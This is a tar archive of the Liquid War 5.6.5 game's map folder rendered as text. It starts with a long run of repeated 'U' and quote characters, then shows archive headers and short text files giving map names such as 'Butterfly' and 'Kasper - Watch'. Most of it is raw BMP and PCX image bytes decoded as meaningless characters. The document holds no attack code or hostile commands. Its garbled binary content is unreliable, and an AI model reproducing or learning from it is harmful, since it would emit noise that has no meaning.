UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""liquidwar-5.6.5/data/map/clean.bmp0000664000372000037200000020717013407756104016420 0ustar travistravisBMx6(    !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~liquidwar-5.6.5/data/map/honey.bmp0000664000372000037200000020520013407756104016450 0ustar travistravisBM >(  liquidwar-5.6.5/data/map/spagueti.txt0000664000372000037200000000001213407756104017202 0ustar travistravisBolognese liquidwar-5.6.5/data/map/around.bmp0000664000372000037200000045417013407756104016632 0ustar travistravisBMxX6(h    !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~>YUYI/en_}:/3nwTv#VIj>liquidwar-5.6.5/data/map/big.bmp0000664000372000037200000102267013407756104016100 0ustar travistravisBM%6(2    !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~liquidwar-5.6.5/data/map/echlune.pcx0000664000372000037200000000643313407756104016774 0ustar travistravis @ liquidwar-5.6.5/data/map/lw.bmp0000664000372000037200000020717013407756104015760 0ustar travistravisBMx6(    !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~KKKKKKKCCKKKKKKKKCKCKKKKKKKKKKKKCCKKKCKKKKCKCKKCCKCKKKKKKKKKKKKCKKKKKKKCKKKKCCKCCKKKCCKCCCKKKKCCKKKCCKKKKKKKKCCCCKKKKCKKKKKKCKKKKKCCCKCKCCKKKKKKKCKKCCCKCKCKKKliquidwar-5.6.5/data/map/papillon.txt0000664000372000037200000000001213407756104017177 0ustar travistravisButterfly liquidwar-5.6.5/data/map/chess.bmp0000664000372000037200000020717013407756104016443 0ustar travistravisBMx6(    !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~liquidwar-5.6.5/data/map/musique.txt0000664000372000037200000000000613407756104017054 0ustar travistravisMusic liquidwar-5.6.5/data/map/trumpet.pcx0000664000372000037200000000711113407756104017043 0ustar travistravis )@** liquidwar-5.6.5/data/map/etoile.txt0000664000372000037200000000000513407756104016644 0ustar travistravisStar liquidwar-5.6.5/data/map/flo1.pcx0000664000372000037200000000332413407756104016206 0ustar travistravis N@O liquidwar-5.6.5/data/map/lwtabmic.pcx0000664000372000037200000000603213407756104017146 0ustar travistravis _@` liquidwar-5.6.5/data/map/darkone3.txt0000664000372000037200000000002113407756104017067 0ustar travistravisJan - Dark One 3 liquidwar-5.6.5/data/map/big.txt0000664000372000037200000000001713407756104016127 0ustar travistravisKasper - Big 1 liquidwar-5.6.5/data/map/aquarium.txt0000664000372000037200000000001013407756104017203 0ustar travistravisAquariumliquidwar-5.6.5/data/map/velo.pcx0000664000372000037200000001107113407756104016310 0ustar travistravis @ liquidwar-5.6.5/data/map/tuyaux.txt0000664000372000037200000000000613407756104016723 0ustar travistravisPipes liquidwar-5.6.5/data/map/liqwar.pcx0000664000372000037200000000661613407756104016653 0ustar travistravis S@T liquidwar-5.6.5/data/map/3x3.txt0000664000372000037200000000002713407756104016004 0ustar travistravisKasper - Tick Tack Toe liquidwar-5.6.5/data/map/bored.txt0000664000372000037200000000002513407756104016460 0ustar travistravisKasper - Labyrinth 1 liquidwar-5.6.5/data/map/flo1.txt0000664000372000037200000000001713407756104016227 0ustar travistravisFlorence's map liquidwar-5.6.5/data/map/psyforcemultiroom.bmp0000664000372000037200000004335613407756104021144 0ustar travistravisBMF>(\F ????????????~?~?~?~?~?~~~~~????????????????????????????????x?x?????????????????????????????x?x?x?x?x?x?x?x?x?x?x?x?x?x?x?xxxxxxx???xxxxxxxxxxxxxxxxxxxxxxxxxliquidwar-5.6.5/data/map/2d.txt0000664000372000037200000000001413407756104015670 0ustar travistravisKasper - 2d liquidwar-5.6.5/data/map/lwtabdrt.pcx0000664000372000037200000000373113407756104017172 0ustar travistravis wJ@xxK liquidwar-5.6.5/data/map/watch.txt0000664000372000037200000000001713407756104016474 0ustar travistravisKasper - Watch liquidwar-5.6.5/data/map/psyforceultramultiroom.bmp0000664000372000037200000012766213407756104022217 0ustar travistravisBM>([Ot  ???????????????~???????????????????????????x?????~~?~??À??????????????????????????????????~??p?????@????????????`??? ??~~?????????????????~?~???????????????????????????????????????????????~?????????????????????????????????~?~??~??????????x??????????????~????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????8??????????p???????????????????liquidwar-5.6.5/data/map/derivsol.txt0000664000372000037200000000001013407756104017206 0ustar travistravisSailing liquidwar-5.6.5/data/map/echlune.txt0000664000372000037200000000002213407756104017005 0ustar travistravisClimb and grab it liquidwar-5.6.5/data/map/bubbles.bmp0000664000372000037200000014357213407756104016761 0ustar travistravisBMzv(rliquidwar-5.6.5/data/map/eyes.txt0000664000372000037200000000001613407756104016332 0ustar travistravisKasper - Eyes liquidwar-5.6.5/data/map/cornet3b.pcx0000664000372000037200000000617113407756104017067 0ustar travistravis q@rr liquidwar-5.6.5/data/map/world2.bmp0000664000372000037200000005003613407756104016544 0ustar travistravisBMP>(2O x???? /?  ??ـ| _?/???:u?iu_???p0???????????????????p?????C? >??p@p????@`=?????8?ppq03p?/=0?`???B`'??>?8??88?x0B???~?>ax88p `08` x@ p  ?'?????<t~??<>|? ?x= ??xH?|??? ??>'81< ??s`??`?`??p?'x8 ?a?????~x? q`?x`??8?| ????G?r?Gǟq 7? >vp r/~?!? `<??@Ϗs~?}?# ??liquidwar-5.6.5/data/map/blemmya.txt0000664000372000037200000000002113407756104017007 0ustar travistravisKasper - Blemmya liquidwar-5.6.5/data/map/jabberwocky.txt0000664000372000037200000000002513407756104017667 0ustar travistravisKasper - jabberwocky liquidwar-5.6.5/data/map/rene04.bmp0000664000372000037200000001613613407756104016433 0ustar travistravisBM^>(  o" editc/tor-e e="%o""epmanaxBAFEileleg?modq --dNte it'??com??"%i??="g??siz??pos?? se??u;/??ega??"Tr??dBA??OPA??dTe??aBi?le=?ega?Tru?BAT?PAU?Tex?Bit?e=%?gat?x -?%i"?o' ?omm?%o"?"ht? -U? de?/il?leg?r/b?"' ?eco?peg?"%u?mpeand >>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~liquidwar-5.6.5/data/map/lwtab003.txt0000664000372000037200000000002513407756104016721 0ustar travistravisLW3 - Random islands liquidwar-5.6.5/data/map/tilt.txt0000664000372000037200000000000513407756104016337 0ustar travistravisTilt liquidwar-5.6.5/data/map/darkone4.txt0000664000372000037200000000002113407756104017070 0ustar travistravisJan - Dark One 4 liquidwar-5.6.5/data/map/crown.txt0000664000372000037200000000000613407756104016514 0ustar travistravisCrown liquidwar-5.6.5/data/map/portable.txt0000664000372000037200000000000513407756104017173 0ustar travistravisAllo liquidwar-5.6.5/data/map/feuille.txt0000664000372000037200000000000513407756104017010 0ustar travistravisLeaf liquidwar-5.6.5/data/map/metation.bmp0000664000372000037200000020717013407756104017156 0ustar travistravisBMx6(  !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~q_N @<* ~'@6+D6SBbJNxfUC1 &yaI 1}ZS)7"[ .> /zX,}MsK[:խS(/Odn_Nd5!ۭmliquidwar-5.6.5/data/map/dirt.bmp0000664000372000037200000020717013407756104016300 0ustar travistravisBMx6(   